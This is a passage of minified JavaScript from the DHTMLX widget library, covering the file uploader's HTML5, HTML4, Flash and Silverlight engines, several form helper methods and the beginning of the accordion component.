a=[\"b\",\"Kb\",\"Mb\",\"Gb\",\"Tb\",\"Pb\",\"Eb\"];for(var y=0;y<a.length;y++){if(x>1024){x=x/1024}else{if(e===false){e=y}}}if(e===false){e=a.length-1}return Math.round(x*100)/100+\" \"+a[e]};this._beforeAddFileToList=function(a,e){return(this.callEvent(\"onBeforeFileAdd\",[a,e])===true)};this._addFileToList=function(C,e,y,A,a){this._checkTitleScreen();var x=document.createElement(\"DIV\");x._idd=C;x.className=\"dhx_file dhx_file_\"+A;x.innerHTML=\"<div class='dhx_file_param dhx_file_name'>&nbsp;</div><div class='dhx_file_param dhx_file_progress'>\"+a+\"%</div><div class='dhx_file_param dhx_file_delete' title='Remove from list'>&nbsp;</div>\";this.p_files.appendChild(x);x.childNodes[0].style.width=x.offsetWidth-127+\"px\";this._items[C]=x;this._updateFileNameSize(C);x.childNodes[2].onclick=function(){if(!q._enabled){return}var D=this.parentNode._idd;q._removeFileFromQueue(D)};this.callEvent(\"onFileAdd\",[e])};this._removeFileFromList=function(a){if(!this._items[a]){return}this._items[a].childNodes[2].onclick=null;this._items[a].parentNode.removeChild(this._items[a]);this._items[a]=null;delete this._items[a];if(this._data[a]){this._data[a]=null;delete this._data[a]}this._checkTitleScreen()};this._updateFileNameSize=function(a){this._items[a].childNodes[0].innerHTML=this._files[a].name+(!isNaN(this._files[a].size)?\" (\"+this._readableSize(this._files[a].size)+\")\":\"&nbsp;\");this._items[a].childNodes[0].title=this._files[a].name+(!isNaN(this._files[a].size)?\" (\"+this._readableSize(this._files[a].size)+\")\":\"\")};this._updateFileInList=function(x,e,a){if(!this._items[x]){return}this._items[x].className=\"dhx_file dhx_file_\"+e;this._updateProgress(x,e,a);this._updateFileNameSize(x)};this._updateProgress=function(x,e,a){if(e==\"uploading\"&&a<100&&this._progress_type==\"loader\"){this._items[x].childNodes[1].className=\"dhx_file_param dhx_file_uploading\";this._items[x].childNodes[1].innerHTML=\"&nbsp;\"}else{this._items[x].childNodes[1].className=\"dhx_file_param dhx_file_progress\";this._items[x].childNodes[1].innerHTML=a+\"%\"}this._updateFileNameSize(x)};this._removeFilesByState=function(x){for(var e in this._files){if(x===true||this._files[e].state==x){this._removeFileFromQueue(e)}}};this._switchButton=function(e){if(e==true){this.buttons.upload.style.display=\"none\";this.buttons.cancel.style.display=\"\"}else{var a=this._uploaded_count;this.buttons.upload.style.display=\"\";this.buttons.cancel.style.display=\"none\";this._uploaded_count=0;if(a>0){this.callEvent(\"onUploadComplete\",[a])}}};this._uploadStart=function(){this._switchButton(true);if(!this._uploading){for(var e in this._files){if(this._files[e].state==\"fail\"){this._files[e].state=\"added\";this._updateFileInList(e,\"added\",0)}}}this._uploading=true;var x=false;for(var e in this._files){if(!x&&[this._files[e].state]==\"added\"){x=true;this._files[e].state=\"uploading\";this._updateFileInList(e,\"uploading\",0);this._doUploadFile(e)}}if(!x){this._uploading=false;this._switchButton(false)}};this._onUploadSuccess=function(A,y,x,a){if(typeof(x)!=\"undefined\"&&this.engine==\"flash\"){var e=dhx4.s2j(x.data);if(e!=null&&e.state==true&&e.name!=null){y=e.name;if(e.extra!=null){a=e.extra}}else{this._onUploadFail(A,(e!=null&&e.extra!=null?e.extra:null));return}}this._uploaded_count++;this._data[A]={realName:this._files[A].name,serverName:y};this._files[A].state=\"uploaded\";this._updateFileInList(A,\"uploaded\",100);this.callEvent(\"onUploadFile\",[this._files[A].name,y,a]);if(this._autoRemove){this._removeFileFromQueue(A)}if(this._uploading){this._uploadStart()}};this._onUploadFail=function(e,a){this._files[e].state=\"fail\";this._updateFileInList(e,\"fail\",0);this.callEvent(\"onUploadFail\",[this._files[e].name,a]);if(this._uploading){this._uploadStart()}};this._onUploadAbort=function(a){this._uploading=false;this._files[a].state=\"added\";this._updateFileInList(a,\"added\",0);this.callEvent(\"onUploadCancel\",[this._files[a].name])};this._checkTitleScreen=function(){var x=0;for(var e in this._files){x++}if(x==0&&this.p.className.search(\"dhx_file_uploader_title\")<0&&this._titleScreen){this.p.className+=\" dhx_file_uploader_title\";this.buttons.info.innerHTML=this._titleText;this.buttons.info.style.width=Math.max(this.p_controls.offsetWidth-134,0)+\"px\"}if((x>0||!this._titleScreen)&&this.p.className.search(\"dhx_file_uploader_title\")>=0){this.p.className=this.p.className.replace(/dhx_file_uploader_title/g,\"\");this.buttons.info.innerHTML=\"\"}};this.callEvent=function(){};this.upload=function(){if(!this._uploading){this._uploadStart()}};this.setAutoStart=function(a){this._autoStart=(a==true)};this.setAutoRemove=function(a){this._autoRemove=(a==true)};this.enableTitleScreen=function(a){this._titleScreen=(a==true);this._checkTitleScreen()};this.setTitleText=function(a){this._titleText=a;if(this.p.className.search(\"dhx_file_uploader_title\")>=0){this.buttons.info.innerHTML=this._titleText}};this.setURL=function(a){this._url=a};this.setSWFURL=function(a){this._swf_upolad_url=a};this.enable=function(){this._enabled=true;this.p_files.className=\"dhx_upload_files\";this.p_controls.className=\"dhx_upload_controls\"};this.disable=function(){this._enabled=false;this.p_files.className=\"dhx_upload_files dhx_uploader_dis\";this.p_controls.className=\"dhx_upload_controls dhx_uploader_dis\"};this.getStatus=function(){var x=0;for(var e in this._files){if(this._files[e].state!=\"uploaded\"){return -1}x=1}return x};this.getData=function(){return this._data};this.clear=function(){if(this.callEvent(\"onBeforeClear\",[])!==true){return}if(this._uploading){q._uploadStop()}q._switchButton(false);q._removeFilesByState(true);this.callEvent(\"onClear\",[])};this.unload=function(){this._removeFilesByState(true);this._data=null;this._files=null;this._items=null;this._unloadEngine();for(var e in this.buttons){this.buttons[e].onclick=null;this.buttons[e].parentNode.removeChild(this.buttons[e]);this.buttons[e]=null;delete this.buttons[e]}this.buttons=null;for(var e in this.b_opts){this.b_opts[e].onclick=null;this.b_opts[e]=null;delete this.b_opts[e]}this.b_opts=null;this.p_controls.parentNode.removeChild(this.p_controls);this.p_files.parentNode.removeChild(this.p_files);this.p.className=this.p.className.replace(/dhx_file_uploader_title/gi,\"\").replace(/dhx_file_uploader/gi,\"\");for(var e in this){this[e]=null}q=e=null};var r=new this[this.engine]();for(var u in r){this[u]=r[u];r[u]=null}u=r=c=null;this._initToolbar();this._initEngine();this._checkTitleScreen();return this}dhtmlXFileUploader.prototype.html5=function(){};dhtmlXFileUploader.prototype.html5.prototype={_initEngine:function(){var c=this;this.buttons.browse.onclick=function(){if(c._enabled){c.f.click()}};this._progress_type=\"percentage\";var a=window.navigator.userAgent;if(a.match(/Windows/gi)!=null&&a.match(/AppleWebKit/gi)!=null&&a.match(/Safari/gi)!=null){if(a.match(/Version\\/5\\.1\\.5/gi)){this._upload_mp=false}if(a.match(/Version\\/5\\.1[^\\.\\d{1,}]/gi)){this._upload_dnd=false}if(a.match(/Version\\/5\\.1\\.1/gi)){this._upload_mp=false;this._upload_dnd=false}if(a.match(/Version\\/5\\.1\\.2/gi)){this._upload_dnd=false}if(a.match(/Version\\/5\\.1\\.7/gi)){this._upload_mp=false}}this._addFileInput();if(this._upload_dnd){this.p.ondragenter=function(g){if(!g.dataTransfer){return}g.stopPropagation();g.preventDefault()};this.p.ondragover=function(g){if(!g.dataTransfer){return}g.stopPropagation();g.preventDefault()};this.p.ondrop=function(g){if(!g.dataTransfer){return}g.stopPropagation();g.preventDefault();if(c._enabled){c._parseFilesInInput(g.dataTransfer.files)}};this._titleText=\"Drag-n-Drop files here or<br>click to select files for upload.\"}else{this._titleText=\"Click to select files for upload.\"}},_addFileInput:function(){if(this.f!=null){this.f.onchange=null;this.f.parentNode.removeChild(this.f);this.f=null}var a=this;this.f=document.createElement(\"INPUT\");this.f.type=\"file\";if(this._upload_mp){this.f.multiple=\"1\"}this.f.className=\"dhx_uploader_input\";this.p_controls.appendChild(this.f);this.f.onchange=function(){a._parseFilesInInput(this.files);if(window.dhx4.isOpera){a._addFileInput()}else{this.value=\"\"}}},_doUploadFile:function(e){var c=this;if(!this._loader){this._loader=new XMLHttpRequest();this._loader.upload.onprogress=function(g){if(c._files[this._idd].state==\"uploading\"){c._updateFileInList(this._idd,\"uploading\",Math.round(g.loaded*100/g.total))}};this._loader.onload=function(h){var g=dhx4.s2j(this.responseText);if(typeof(g)==\"object\"&&g!=null&&typeof(g.state)!=\"undefined\"&&g.state==true){c._onUploadSuccess(this.upload._idd,g.name,null,g.extra);g=null}else{c._onUploadFail(this.upload._idd,(g!=null&&g.extra!=null?g.extra:null))}};this._loader.onerror=function(g){c._onUploadFail(this.upload._idd)};this._loader.onabort=function(g){c._onUploadAbort(this.upload._idd)}}this._loader.upload._idd=e;var a=new FormData();a.append(\"file\",this._files[e].file);this._loader.open(\"POST\",this._url+(String(this._url).indexOf(\"?\")<0?\"?\":\"&\")+\"mode=html5&dhxr\"+new Date().getTime(),true);this._loader.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\");this._loader.send(a)},_uploadStop:function(){if(!this._uploading||!this._loader){return}this._loader.abort()},_parseFilesInInput:function(c){for(var a=0;a<c.length;a++){this._addFileToQueue(c[a])}},_addFileToQueue:function(a){if(!this._beforeAddFileToList(a.name,a.size)){return}var c=(a._idd||window.dhx4.newId());this._files[c]={file:a,name:a.name,size:a.size,state:\"added\"};this._addFileToList(c,a.name,a.size,\"added\",0);if(this._autoStart&&!this._uploading){this._uploadStart(true)}},_removeFileFromQueue:function(g){if(!this._files[g]){return}var c=this._files[g].name;var e=(this._data!=null&&this._data[g]!=null?this._data[g].serverName:null);if(this.callEvent(\"onBeforeFileRemove\",[c,e])!==true){return}var a=false;if(this._uploading&&g==this._loader.upload._idd&&this._files[g].state==\"uploading\"){this._uploadStop();a=true}this._files[g].file=null;this._files[g].name=null;this._files[g].size=null;this._files[g].state=null;this._files[g]=null;delete this._files[g];this._removeFileFromList(g);this.callEvent(\"onFileRemove\",[c,e]);if(a){this._uploadStart()}},_unloadEngine:function(){this.buttons.browse.onclick=null;this.f.onchange=null;this.f.parentNode.removeChild(this.f);this.f=null;this.p.ondragenter=null;this.p.ondragover=null;this.p.ondrop=null;if(this._loader){this._loader.upload.onprogress=null;this._loader.onload=null;this._loader.onerror=null;this._loader.onabort=null;this._loader.upload._idd=null;this._loader=null}this._initEngine=null;this._doUploadFile=null;this._uploadStop=null;this._parseFilesInInput=null;this._addFileToQueue=null;this._removeFileFromQueue=null;this._unloadEngine=null}};dhtmlXFileUploader.prototype.html4=function(){};dhtmlXFileUploader.prototype.html4.prototype={_initEngine:function(){this._addForm();this._progress_type=\"loader\";this._titleText=\"Click button<br>to select files for upload.\"},_addForm:function(){var a=this;var e=window.dhx4.newId();if(!this.k){this.k=document.createElement(\"DIV\");this.k.className=\"dhx_file_form_cont\";this.buttons.browse.appendChild(this.k);this.fr_name=\"dhx_file_\"+window.dhx4.newId();this.k.innerHTML='<iframe name=\"'+this.fr_name+'\" style=\"height:0px;width:0px;\" frameBorder=\"0\"></iframe>';this.fr=this.k.firstChild;if(window.navigator.userAgent.indexOf(\"MSIE\")>=0){this.fr.onreadystatechange=function(){if(this.readyState==\"complete\"){a._onLoad()}}}else{this.fr.onload=function(){a._onLoad()}}}var c=document.createElement(\"DIV\");c.innerHTML=\"<form method='POST' enctype='multipart/form-data' target='\"+this.fr_name+\"' class='dhx_file_form' name='dhx_file_form_\"+window.dhx4.newId()+\"'><input type='hidden' name='mode' value='html4'><input type='hidden' name='uid' value='\"+e+\"'><input type='file' name='file' class='dhx_file_input'></form>\";this.k.appendChild(c);c.firstChild.lastChild._idd=e;c.firstChild.lastChild.onchange=function(){if(!a._beforeAddFileToList(this.value,null)){return}a._addFileToQueue(this);this.onchange=null;this.parentNode.parentNode.style.display=\"none\";a._addForm()};c=null},_onLoad:function(){if(this._uploading){var a=dhx4.s2j(this.fr.contentWindow.document.body.innerHTML);if(typeof(a)==\"object\"&&a!=null){if(typeof(a.state)!=\"undefined\"){if(a.state==\"cancelled\"){this._onUploadAbort(this.fr._idd);a=null;return}else{if(a.state==true){if(typeof(a.size)!=\"undefined\"&&!isNaN(a.size)){this._files[this.fr._idd].size=a.size}this._onUploadSuccess(this.fr._idd,a.name,null,a.extra);a=null;return}}}}this._onUploadFail(this.fr._idd,(a!=null&&a.extra!=null?a.extra:null))}},_addFileToQueue:function(c){var a=c.value.match(/[^\\\\\\/]*$/g);if(a[0]!=null){a=a[0]}else{a=c.value}this._files[c._idd]={name:a,form:c.parentNode,node:c.parentNode.parentNode,input:c,state:\"added\"};this._addFileToList(c._idd,c.value,false,\"added\",0);if(this._autoStart&&!this._uploading){this._uploadStart(true)}},_removeFileFromQueue:function(e){var a=this._files[e].name;var c=(this._data!=null&&this._data[e]!=null?this._data[e].serverName:null);if(this.callEvent(\"onBeforeFileRemove\",[a,c])!==true){return}this._files[e].input.onchange=null;this._files[e].form.removeChild(this._files[e].input);this._files[e].node.removeChild(this._files[e].form);this._files[e].node.parentNode.removeChild(this._files[e].node);this._files[e].input=null;this._files[e].name=null;this._files[e].form=null;this._files[e].node=null;this._files[e].size=null;this._files[e].state=null;this._files[e]=null;delete this._files[e];this._removeFileFromList(e);this.callEvent(\"onFileRemove\",[a,c])},_doUploadFile:function(a){this.fr._idd=a;this._files[a].form.action=this._url;this._files[a].form.submit()},_uploadStop:function(){if(!this._uploading){return}this.fr.contentWindow.location.href=(this._url)+(this._url.indexOf(\"?\")<0?\"?\":\"&\")+\"mode=html4&action=cancel&dhxr\"+new Date().getTime()},_unloadEngine:function(){if(this.k){this.fr_name=null;this.fr.onreadystatechange=null;this.fr.onload=null;this.fr.parentNode.removeChild(this.fr);this.fr=null;this.k.firstChild.firstChild.lastChild.onchange=null;this.k.parentNode.removeChild(this.k);this.k=null}this._initEngine=null;this._addForm=null;this._onLoad=null;this._addFileToQueue=null;this._removeFileFromQueue=null;this._doUploadFile=null;this._uploadStop=null;this._unloadEngine=null}};dhtmlXFileUploader.prototype.flash=function(){};dhtmlXFileUploader.prototype.flash.prototype={_initEngine:function(){if(!window.dhtmlXFileUploaderSWFObjects){window.dhtmlXFileUploaderSWFObjects={items:{},callEvent:function(h,e,g){return window.dhtmlXFileUploaderSWFObjects.items[h].uploader[e].apply(window.dhtmlXFileUploaderSWFObjects.items[h].uploader,g)}}}var c=this;this._swf_obj_id=\"dhtmlXFileUploaderSWFObject_\"+window.dhx4.newId();this._swf_file_url=this._swf_file_url+(this._swf_file_url.indexOf(\"?\")>=0?\"&\":\"?\")+\"dhxr\"+new Date().getTime();this.buttons.browse.innerHTML=\"<div id='\"+this._swf_obj_id+\"' style='width:100%;height:100%;'></div>\";swfobject.embedSWF(this._swf_file_url,this._swf_obj_id,\"100%\",\"100%\",\"9\",null,{ID:this._swf_obj_id,enableLogs:this._swf_logs},{wmode:\"transparent\"});var a=swfobject.getFlashPlayerVersion();this._titleText=\"Engine successfuly inited<br>Flash Player: \"+a.major+\".\"+a.minor+\".\"+a.release;this._progress_type=\"percentage\";window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id]={id:this._swf_obj_id,uploader:this}},_beforeAddFileToQueue:function(a,c){return(this.callEvent(\"onBeforeFileAdd\",[a,c])===true)},_addFileToQueue:function(g,c,e){if(window.dhx4.isIE){var a=document.createElement(\"INPUT\");a.type=\"TEXT\";a.style.position=\"absolute\";a.style.left=\"0px\";a.style.top=window.dhx4.absTop(this.buttons.browse)+\"px\";a.style.width=\"10px\";document.body.appendChild(a);a.focus();document.body.removeChild(a);a=null}this._files[g]={name:c,size:e,state:\"added\"};this._addFileToList(g,c,e,\"added\",0);if(this._autoStart&&!this._uploading){this._uploadStart(true)}},_removeFileFromQueue:function(g){if(!this._files[g]){return}var c=this._files[g].name;var e=(this._data!=null&&this._data[g]!=null?this._data[g].serverName:null);if(this.callEvent(\"onBeforeFileRemove\",[c,e])!==true){return}var a=false;if(this._uploading&&this._files[g].state==\"uploading\"){this._uploadStop();a=true}swfobject.getObjectById(this._swf_obj_id).removeFileById(g);this._files[g].name=null;this._files[g].size=null;this._files[g].state=null;this._files[g]=null;delete this._files[g];this._removeFileFromList(g);this.callEvent(\"onFileRemove\",[c,e]);if(a){this._uploadStart()}},_doUploadFile:function(a){swfobject.getObjectById(this._swf_obj_id).upload(a,this._swf_upolad_url)},_uploadStop:function(e){for(var c in this._files){if(this._files[c].state==\"uploading\"){swfobject.getObjectById(this._swf_obj_id).uploadStop(c)}}},_unloadEngine:function(){if(window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id]){window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id].id=null;window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id].uploader=null;window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id]=null;delete window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id]}this._swf_obj_id=null;this._initEngine=null;this._addFileToQueue=null;this._removeFileFromQueue=null;this._doUploadFile=null;this._uploadStop=null;this._unloadEngine=null}};dhtmlXFileUploader.prototype.sl=function(){};dhtmlXFileUploader.prototype.sl.prototype={_initEngine:function(){if(typeof(this._sl_v)==\"undefined\"){this._sl_v=this.getSLVersion()}if(!window.dhtmlXFileUploaderSLObjects){window.dhtmlXFileUploaderSLObjects={items:{},callEvent:function(e,a,c){window.dhtmlXFileUploaderSLObjects.items[e].uploader[a].apply(window.dhtmlXFileUploaderSLObjects.items[e].uploader,c)}}}this._sl_obj_id=\"dhtmlXFileUploaderSLObject_\"+window.dhx4.newId();if(this._sl_v!=false){this._titleText=\"Engine successfuly inited<br>Silverlight version: \"+this._sl_v[0]+\".\"+this._sl_v[1];this.buttons.browse.innerHTML='<div style=\"width:100%;height:100%;\"><object data=\"data:application/x-silverlight-2,\" type=\"application/x-silverlight-2\" width=\"100%\" height=\"100%\" id=\"'+this._sl_obj_id+'\"><param name=\"source\" value=\"'+this._sl_xap+'\"/><param name=\"background\" value=\"Transparent\"/><param name=\"windowless\" value=\"true\"/><param name=\"initParams\" value=\"SLID='+this._sl_obj_id+\",LOGS=\"+this._sl_logs+'\"/><param name=\"minRuntimeVersion\" value=\"5.0\"/></object></div>'}else{this._titleText=\"Silverlight plugin not found<br>or version less than 4.0\";this.buttons.browse.style.cursor=\"wait\";this.buttons.browse.title=\"\"}this._progress_type=\"percentage\";window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id]={id:this._sl_obj_id,uploader:this}},_addFileToQueue:function(e,a,c){this._files[e]={name:a,size:c,state:\"added\"};this._addFileToList(e,a,c,\"added\",0);if(this._autoStart&&!this._uploading){this._uploadStart(true)}},_removeFileFromQueue:function(c){if(!this._files[c]){return}var a=false;if(this._uploading&&this._files[c].state==\"uploading\"){this._uploadStop();a=true}document.getElementById([this._sl_obj_id]).Content.a.removeFileById(c);this._files[c].name=null;this._files[c].size=null;this._files[c].state=null;this._files[c]=null;delete this._files[c];this._removeFileFromList(c);if(a){this._uploadStart()}},_doUploadFile:function(c){var a=this._sl_upload_url.split(\"?\");a=(a[1]!=null?\"&\"+a[1]:\"\");document.getElementById(this._sl_obj_id).Content.a.upload(c,this._sl_upload_url,a+\"&mode=sl&dhxr\"+new Date().getTime())},_uploadStop:function(e){this._uploading=false;for(var c in this._files){if(this._files[c].state==\"uploading\"){document.getElementById(this._sl_obj_id).Content.a.uploadStop(c)}}},_unloadEngine:function(){if(window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id]){window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id].id=null;window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id].uploader=null;window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id]=null;delete window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id]}this._sl_obj_id=null;this._initEngine=null;this._addFileToQueue=null;this._removeFileFromQueue=null;this._doUploadFile=null;this._uploadStop=null;this._unloadEngine=null}};dhtmlXFileUploader.prototype.setSLURL=function(a){this._sl_upload_url=a};dhtmlXFileUploader.prototype.getSLVersion=function(){var a=false;if(window.dhx4.isIE){try{var c=new ActiveXObject(\"AgControl.AgControl\");if(c!=null){var l=4,h=0;while(c.isVersionSupported([l,h].join(\".\"))){a=[l,h];if(++h>9){l++;h=0}}}c=null}catch(g){}}else{if(navigator.plugins[\"Silverlight Plug-In\"]!=null){a=navigator.plugins[\"Silverlight Plug-In\"].description.split(\".\")}}return a};dhtmlXForm.prototype.saveBackup=function(){if(!this._backup){this._backup={};this._backupId=new Date().getTime()}this._backup[++this._backupId]=this.getFormData();return this._backupId};dhtmlXForm.prototype.restoreBackup=function(a){if(this._backup!=null&&this._backup[a]!=null){this.setFormData(this._backup[a])}};dhtmlXForm.prototype.clearBackup=function(a){if(this._backup!=null&&this._backup[a]!=null){this._backup[a]=null;delete this._backup[a]}};dhtmlXForm.prototype.addItem=function(e,a,l,g){var c=null;if(e instanceof Array){c=e[1];e=e[0]}var h=null;if(e!=null){var h=this._getParentForm(e,c);if(h!=null){if(h.item._list==null){if(!a.listParent){a.listParent=h.item._idd}h.form._addItem(\"list\",h.item._idd,[a],null,h.item._idd,l,g)}else{h.item._list[0].addItem(null,a,l,g)}h.form=h.item=null;h=null;this._autoCheck();return}}this._prepareItem(a,l,g);this._autoCheck()};dhtmlXForm.prototype.removeItem=function(c,a){this._removeItem(c,a)};dhtmlXForm.prototype.removeColumn=function(m,l,g,e){var o=null;if(m instanceof Array){o=m[1];m=m[0]}if(m!=null){var h=this._getParentForm(m,o);if(h!=null){if(h.item._list!=null&&h.item._list[0]!=null){h.item._list[0].removeColumn(null,l,g,e)}h.form=h.item=null;h=null}return}l=Math.min(Math.max(l,0),this.cont.childNodes.length-1);if(this.cont.childNodes.length==1){if(g==true){this._removeItemsInColumn(this.cont.childNodes[l])}}else{if(g==true){this._removeItemsInColumn(this.cont.childNodes[l])}else{if(!e){var a=l-1;if(a<0){a=l+1}}else{var a=l+1;if(a>this.cont.childNodes.length-1){a=l-1}}while(this.cont.childNodes[l].childNodes.length>0){this.cont.childNodes[a].appendChild(this.cont.childNodes[l].childNodes[0])}}var n=[];for(var c=0;c<this.base.length;c++){if(this.cont.childNodes[l]!=this.base[c]){n.push(this.base[c])}}this.base=n;this.cont.removeChild(this.cont.childNodes[l]);this.b_index--;n=null}};dhtmlXForm.prototype.getColumnNode=function(e,c){var g=null;var a=null;if(e instanceof Array){a=e[1];e=e[0]}if(e!=null){var h=this._getParentForm(e,a);if(h!=null){if(h.item._list!=null&&h.item._list[0]!=null&&g==null){g=h.item._list[0].getColumnNode(null,c)}h.form=h.item=null;h=null}return g}if(c<0||c>this.cont.childNodes.length-1){return null}return this.cont.childNodes[c]};dhtmlXForm.prototype._removeItemsInColumn=function(g){var a=[];for(var e=0;e<g.childNodes.length;e++){var c=g.childNodes[e];if(c._idd!=null&&c._type!=null){a.push([c._idd,(c._type==\"ra\"?c._value:null)])}c=null}for(var e=0;e<a.length;e++){this.removeItem(a[e][0],a[e][1])}};dhtmlXForm.prototype._getParentForm=function(l,h){if(this.itemPull[this.idPrefix+l]!=null){return{form:this,item:this.itemPull[this.idPrefix+l]}}for(var c in this.itemPull){if(this.itemPull[c]._type==\"ra\"&&this.itemPull[c]._group==l&&this.itemPull[c]._value==h){return{form:this,item:this.itemPull[c]}}}var g=null;for(var c in this.itemPull){if(!g&&this.itemPull[c]._list!=null){for(var e=0;e<this.itemPull[c]._list.length;e++){if(!g){g=this.itemPull[c]._list[e]._getParentForm(l,h)}}}}return g};(function(){for(var c in dhtmlXForm.prototype.items){if(!dhtmlXForm.prototype.items[c]._getItemNode){dhtmlXForm.prototype.items[c]._getItemNode=function(a){return a}}}})();dhtmlXForm.prototype._getItemNode=function(c,a){if(a!=null){c=[c,a]}return this.doWithItem(c,\"_getItemNode\")};dhtmlXForm.prototype.setRequired=function(n,l,h){if(typeof(h)==\"undefined\"){h=l}else{n=[n,l]}var e=this._getItemNode(n);if(!e){return}h=window.dhx4.s2b(h);e._required=(h==true);if(e._required){if(!e._validate){e._validate=[]}var c=false;for(var g=0;g<e._validate.length;g++){c=(e._validate[g]==\"NotEmpty\"||c)}if(!c){e._validate.push(\"NotEmpty\")}var m=e.childNodes[e._ll?0:1].childNodes[0];if(!(m.lastChild&&m.lastChild.className&&m.lastChild.className.search(/required/)>=0)){var a=document.createElement(\"SPAN\");a.className=\"dhxform_item_required\";a.innerHTML=\"*\";m.appendChild(a);a=m=null}}else{if(e._validate!=null){var c=e._validate;e._validate=[];for(var g=0;g<c.length;g++){if(c[g]!=\"NotEmpty\"){e._validate.push(c[g])}}if(e._validate.length==0){e._validate=null}}var m=e.childNodes[e._ll?0:1].childNodes[0];if(m.lastChild&&m.lastChild.className&&m.lastChild.className.search(/required/)>=0){m.removeChild(m.lastChild);m=null}}this._resetValidateCss(e);e=null};dhtmlXForm.prototype.setNote=function(h,e,a){if(typeof(a)==\"undefined\"){a=e}else{h=[h,e]}var c=this._getItemNode(h);if(!c){return}var g=this._getNoteNode(c);if(!g){if(!a.width){a.width=c.childNodes[c._ll?1:0].childNodes[0].offsetWidth}g=document.createElement(\"DIV\");g.className=\"dhxform_note\";if({ch:1,ra:1}[c._type]){c.childNodes[c._ll?1:0].insertBefore(g,c.childNodes[c._ll?1:0].lastChild)}else{c.childNodes[c._ll?1:0].appendChild(g)}}g.innerHTML=a.text;if(a.width!=null){g.style.width=a.width+\"px\";g._w=a.width}g=null};dhtmlXForm.prototype.clearNote=function(g,c){if(typeof(c)!=\"undefined\"){g=[g,c]}var a=this._getItemNode(g);if(!a){return}var e=this._getNoteNode(a);if(e!=null){e.parentNode.removeChild(e);e=null}};dhtmlXForm.prototype._getNoteNode=function(a){var e=null;for(var c=0;c<a.childNodes[a._ll?1:0].childNodes.length;c++){if(String(a.childNodes[a._ll?1:0].childNodes[c].className).search(/dhxform_note/)>=0){e=a.childNodes[a._ll?1:0].childNodes[c]}}a=null;return e};dhtmlXForm.prototype.setValidation=function(l,g,h){if(typeof(note)==\"undefined\"){h=g}else{l=[l,g]}var c=this._getItemNode(l);if(!c){return}if(c._validate!=null){for(var e=0;e<c._validate.length;e++){c._validate[e]=null}}c._validate=[];if(typeof(h)==\"function\"||typeof(window[h])==\"function\"){c._validate=[h]}else{c._validate=String(h).split(this.separator)}if(c._required){var a=false;for(var e=0;e<c._validate.length;e++){a=(c._validate[e]==\"NotEmpty\"||a)}if(!a){c._validate.push(\"NotEmpty\")}}c=null};dhtmlXForm.prototype.clearValidation=function(g,e){if(typeof(e)!=\"undefined\"){g=[g,e]}var a=this._getItemNode(g);if(!a){return}if(a._validate!=null){for(var c=0;c<a._validate.length;c++){a._validate[c]=null}}a._validate=a._required?[\"NotEmpty\"]:null;a=null};dhtmlXForm.prototype.reloadOptions=function(a,l){var c=this.getItemType(a);if(!{select:1,multiselect:1,combo:1}[c]){return}if(c==\"select\"||c==\"multiselect\"){var g=this.getOptions(a);while(g.length>0){g.remove(0)}g.length=0;g=null;if(typeof(l)==\"string\"){this.doWithItem(a,\"doLoadOptsConnector\",l)}else{if(l instanceof Array){this.doWithItem(a,\"doLoadOpts\",{options:l})}}}if(c==\"combo\"){var m=this.getCombo(a);m.clearAll();m.setComboValue(\"\");if(typeof(l)==\"string\"){this.doWithItem(a,\"doLoadOptsConnector\",l)}else{if(l instanceof Array){var e=null;for(var h=0;h<l.length;h++){if(window.dhx4.s2b(l[h].selected)){e=l[h].value}}m.addOption(l);if(e!=null){this.setItemValue(a,e)}m=null}}}};dhtmlXForm.prototype.setTooltip=function(l,h,g){if(typeof(g)==\"undefined\"){g=h}else{l=[l,h]}var c=this._getItemNode(l);if(!c){return}var a=null;if(c.childNodes.length==1){a=c.childNodes[0]}else{for(var e=0;e<c.childNodes.length;e++){if(c.childNodes[e].className!=null&&c.childNodes[e].className.search(\"dhxform_label\")>=0){a=c.childNodes[e]}}}if(a!=null){if(g==null||g.length==0){a.removeAttribute(\"title\")}else{a.title=g}}a=null};function dhtmlXAccordion(h,m){var g=this;var e=window.dhx4.transDetect();this.conf={skin:(m||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxacc\")||\"dhx_skyblue\"),css:\"dhxacc\",icons_path:\"\",multi_mode:false,last_opened:null,on_active_id:null,on_active_click:false,size_changed:true,def_height:90,total_count:0,hiden_count:0,cont_w:null};this.conf.tr={prop:e.transProp,ev:e.transEv,height_open:\"height 0.2s cubic-bezier(0.25,0.1,0.25,1)\",height_close:\"height 0.18s cubic-bezier(0.25,0.1,0.25,1)\",op_open:\"opacity 0.16s ease-in\",op_close:\"opacity 0.2s ease-out\",op_v_open:\"1\",op_v_close:\"0.4\",dnd_top:\"top 0.16s\"};this.ofs={m:{},s:{},def:{m:{left:0,right:0,first:0,between:8},s:{left:0,right:0,first:0,between:-1,last:0}},base:{s:{},m:{}},skin:{dhx_web:{s:{between:3},m:{between:3}},dhx_terrace:{m:{between:12,left:0,right:0}}}};if(navigator.userAgent.indexOf(\"MSIE\")>=0||navigator.userAgent.indexOf(\"Trident\")>=0){this.conf.tr.height_open=this.conf.tr.height_close}else{this.conf.tr.height_open=this.conf.tr.height_close}var l=null;if(typeof(h)==\"object\"&&!h.tagName){l={};for(var c in h){l[c]=h[c];h[c]=null}h=l.parent;l.parent=null}window.dhtmlXCellTop.apply(this,[h,h._ofs]);this._adjustCont();if(this.base._ofs!=null){for(var n in this.ofs.base){if(this.base._ofs[n]!=null){for(var c in this.base._ofs[n]){this.ofs.base[n][c]=this.base._ofs[n][c]}}}}this._applyOffsets=function(){for(var u in this.ofs.def){var r=this.ofs.def[u];var s=(this.ofs.skin[this.conf.skin]!=null&&this.ofs.skin[this.conf.skin][u]!=null?this.ofs.skin[this.conf.skin][u]:null);var q=(this.base._ofs!=null?this.base._ofs[u]:null);for(var o in 